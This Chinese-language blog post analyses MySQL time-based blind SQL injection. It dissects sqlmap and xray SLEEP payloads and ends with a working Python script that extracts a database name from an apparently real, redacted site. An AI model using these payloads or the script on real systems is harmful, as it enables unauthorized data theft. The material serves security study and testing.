SQL注入时间盲注
文章目錄
- sqlmap日記溯源
-
- fuzz是否存在閉合和xss
- fuzz閉合語句字段
- fuzz誤報檢測
- 長度約束檢測
- 過濾字符檢測
- 數據庫版本檢測
- sqlmap檢測結果
- xray中的sql注入檢測
-
- payload
- 實例
-
- 發現時間盲注
- 構造時間盲注payload
- 編寫腳本成功跑出數據庫名
sqlmap日記溯源
測試網頁為sqli-labs第一關
sqlmap語句:
python sqlmap.py -u "http://192.168.0.106/sqli-labs/Less-1/?id=1" --technique T -v 3
payload:
fuzz是否存在閉合和xss
1"),),'...(
1'zIxMvJ<'">rrGmBk
通過第一個payload的回顯報錯信息得出DBMS為MySQL,通過第二個payload測試出可能存在XSS
fuzz閉合語句字段
ID:1) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- Qale
ID:1) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND (3895=3895
ID:1)) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND ((1920=1920
ID:1))) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND (((6558=6558
ID:1 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)
ID:1 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- kLlM
ID:1 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)# CiLj
ID:1) WHERE 8097=8097 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- nBuM
ID:1 WHERE 3179=3179 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- udCB
ID:1+(SELECT ZEzT WHERE 8697=8697 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))+
ID:1+(SELECT ZEzT WHERE 8697=8697 AND (SELECT 7548 FROM (SELECT(SLEEP(0)))mDcr))+
ID:1+(SELECT ZEzT WHERE 8697=8697 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))+
ID:1)) AS XVbP WHERE 9410=9410 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- SKCV
ID:1) AS pVEy WHERE 6863=6863 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- LTKs
ID:1` WHERE 2045=2045 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- Gxus
ID:1`) WHERE 9424=9424 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- SNuh
ID:1`=`1` AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND `1`=`1
ID:1]-(SELECT 0 WHERE 3234=3234 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))|[1
ID:1') AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- cpjB
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjY
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(0)))mDcr)-- RXjY
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjY
通過上述payload進行時間盲注的測試,可以看出fuzz payload構造的基本思想是
閉合字段 + and + 延時語句 + 閉合字段 + (mysql注釋)
其中采用的閉合字段為
),)),))),空格,`,',')
在測試到閉合為'時,延時語句正確執行,結束fuzz。(sqlmap還有更多的閉合字段因為在檢測到’后fuzz就停止了)
fuzz中采用的延時語句為
(SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))是一個常見的延時注入payload在下文實例部分會分析這個payload。
注釋部分則使用
-- 隨機字符,空格或不加注釋 靠閉合字段來閉合后面的sql語句
判定參數id存在time注入的語句為最后兩句:
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(0)))mDcr)-- RXjY
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjY
通過這兩次請求的響應時間可判斷語句成立
fuzz誤報檢測
在閉合fuzz后sqlmap進行了誤報的檢查,檢查的payload如下
[INFO] checking if the injection point on GET parameter 'id' is a false positive
1' AND (SELECT 4167 FROM (SELECT(SLEEP(5-(IF(35=35,0,5)))))jMIP)-- ZYst
1' AND (SELECT 8544 FROM (SELECT(SLEEP(5-(IF(35=41,0,5)))))hAmP)-- yCjE
1' AND (SELECT 6834 FROM (SELECT(SLEEP(5-(IF(35=53,0,5)))))KQfm)-- rXvn
1' AND (SELECT 9915 FROM (SELECT(SLEEP(5-(IF(53=41,0,5)))))drMK)-- JxOx
1' AND (SELECT 8260 FROM (SELECT(SLEEP(5-(IF(41=41,0,5)))))DFXG)-- Mjne
1' AND (SELECT 4472 FROM (SELECT(SLEEP(5-(IF(53 41,0,5)))))yvtU)-- rmYJ
與上面的payload基本相同 加入了if語句增加了payload的邏輯復雜性 進一步判斷服務器是否執行了payload中的sleep語句
長度約束檢測
[DEBUG] checking for parameter length constraining mechanisms
[PAYLOAD] 1' AND (SELECT 3612 FROM (SELECT(SLEEP(5-(IF(3891= 3891,0,5)))))QgDB)-- xjcz
過濾字符檢測
[DEBUG] checking for filtered characters
[PAYLOAD] 1' AND (SELECT 6967 FROM (SELECT(SLEEP(5-(IF(2926>2925,0,5)))))ZHQV)-- xHYf
數據庫版本檢測
[INFO] the back-end DBMS is MySQL
1' AND (SELECT 3656 FROM (SELECT(SLEEP(5-(IF(VERSION() LIKE 0x254d61726961444225,0,5)))))SmlS)-- fDdI
[11:49:37] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
1' AND (SELECT 6398 FROM (SELECT(SLEEP(5-(IF(VERSION() LIKE 0x255469444225,0,5)))))VTDN)-- susC
1' AND (SELECT 2601 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x256472697a7a6c6525,0,5)))))SJvF)-- vdey
1' AND (SELECT 3002 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x25506572636f6e6125,0,5)))))IoVy)-- WwrT
1' AND (SELECT 8807 FROM (SELECT(SLEEP(5-(IF(AURORA_VERSION() LIKE 0x25,0,5)))))gccu)-- xHre
web application technology: PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
對payload中判斷語句十六進制解碼得到:
%MariaDB%
%TiDB%
%drizzle%
%Percona%
即上述payload是為了進一步判斷mysql的版本
sqlmap檢測結果
最后sqlmap給出如下的檢測結果
---
Parameter: id (GET)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjYVector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
xray中的sql注入檢測
payload
1'and/**/extractvalue(1,concat(char(126),md5(1732124737)))and'
1"and/**/extractvalue(1,concat(char(126),md5(1502884810)))and"
1/**/and+3=5
extractvalue(1,concat(char(126),md5(1559837452)))
1'and'k'='k
1'and(select'1'from/**/cast(md5(1727614791)as/**/int))>'0
1'and'u'='i
1"and"y"="m
1'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1356618605')))>'0
1鎈'"\(
1'"\(
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(2)union/**/select+1)a)
1'and(select*from(select+sleep(0))a/**/union/**/select+1)='
1'and(select*from(select+sleep(2))a/**/union/**/select+1)='
可以看出和sqlmap大體的思路差不多,對于分割符號的fuzz要比sqlmap少,關注時間盲注的payload,其中延時語句為(select*from(select+sleep(2))a/**/union/**/select+1)和sqlmap的(SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))也基本相同。
實例
發現時間盲注
一個實用的時間盲注fuzz payload
在一次測試中,發現一個參數存在時間盲注,fuzz的payload為desc,(select*from(select+sleep(2)union/**/select+1)a)。通過上文對xray和sqlmap的payload分析,這個延時查詢語句是一種使用很廣泛的sql時間注入fuzz語句。
這個payload的語義為select * from a,其中表a又是select sleep(2) union select 1的結果,在進行select sleep(2)的過程中會執行sleep函數,暫停兩秒,通過響應的時間來判斷payload是否正確執行。
與此payload相似的sqlmap的payload形如(SELECT 3518 FROM (SELECT(SLEEP(5)))iZFM)-- WOkp同樣也是利用select sleep(5)來讓程序休眠。還有一點比較關鍵,通過下面的測試圖片可以看出加上括號后這條查詢語句的內容還可以看成恒為true的結果和and并列。
可以與常見的if(表達式,sleep(2),1)做對比,當sleep函數執行時整體的表達式結果為false。
通過改變sleep時間與響應的時間成正比,確定了此處應該存在時間盲注,接下來開始構造payload來跑數據庫名。
構造時間盲注payload
現在要做的就是把fuzz payload中(select*from(select+sleep(2)union/**/select+1)a))替換為帶有判斷功能的sql語句,第一時間想到的就if(substr(length(database())=5,sleep(3),1))但是經過測試發現用if語句來構造判斷并不能執行,想到前幾天發現的盲注用if也不能直接執行,雖然不知道后端是怎么實現的,不過個人感覺if在盲注中的局限性應該是比較大的。
if失敗以后想到case when也可以進行邏輯判斷,遂去研究了一下case when語句的語法。經過查詢資料發現case when用兩種用法。
-
CASE [col_name] WHEN [value1] THEN [result1]…ELSE [default] END: 枚舉這個字段所有可能的值*
測試代碼:
判斷的流程為,case指定一個判斷參數的名字(列名),when后面指定參數值,當參數=參數值時,把end后面的新列名指定為then后面的值。所以應該可以嘗試在when后面的字段插入想要的判斷語句。
測試語句:
select user '用戶',case user when 'kit' then '本人' when 'root' then '管理員' else '其他人' end '身份' from mysql.user; -
CASE WHEN [expr] THEN [result1]…ELSE [default] END:搜索函數可以寫判斷,并且搜索函數只會返回第一個符合條件的值,其他case被忽略
這種用法應該也可以構造,第一種構造成功后,比較懶就沒有去嘗試。
通過對測試語句的改造,最終的payload語句:
(select 1,case 1 when (substr(database(),1,1)='e') then sleep(2) else 1 end)
通過這個payload可以進行when后面判斷語句的執行,而且整個語句加括號后可以和and并列。
編寫腳本成功跑出數據庫名
由于sqlmap無法成功跑出數據庫信息,甚至連此處存在時間盲注都沒有發現…(可能是自己level,risk調整的有問題。)于是決定自己寫腳本跑數據。
基本的想法就是發送帶有payload的post請求,通過time.time()請求持續的時間來判斷語句執行情況,先爆出數據庫長度,再根據長度遍歷每個位置的字符,字符集利用string庫中的printable來遍歷。最終的代碼如下所示:
import string
import requests
import time# 時間盲注跑用戶名
target = 'https://xxxxx.com'def send_payload(payload):stime = time.time()r = requests.post(url=target,data={'module':'IpgOutFilesManager','fun':'GetWebList','OrderName':'addDate','pageNum':'2','pageSize':'10','token':'0000f16a5f9af0ed42e78a719839f0025cfd','OrderType':payload})etime = time.time()if etime - stime > 3:return Trueelse:return Falselen_payload = "desc,(select 1,case 1 when (length(database())={len}) then sleep(4) else 1 end)"
time_payload = "desc,(select 1,case 1 when (substr(database(),{pos},1)={ch}) then sleep(4) else 1 end)"if __name__ == '__main__':# 獲得長度length = 0res = []while(True):result = send_payload(len_payload.format(len=length))print('正在檢測長度' + str(length))if result:print("數據庫長度為" + str(length))breakelse:length+=1# 獲得名稱for i in range(length):for a in list(string.printable):result = send_payload(time_payload.format(pos=i+1,ch="\'" + a +"\'"))if result:print('數據庫名:位置' + str(i+1) + '字符' + a)res.append(a)breakprint('數據庫名為' + "".join(res))
總結
- 上一篇: 如何设计一个高可用的运营系统
- 下一篇: 电脑玩英雄联盟配置要多少(电脑玩英雄联盟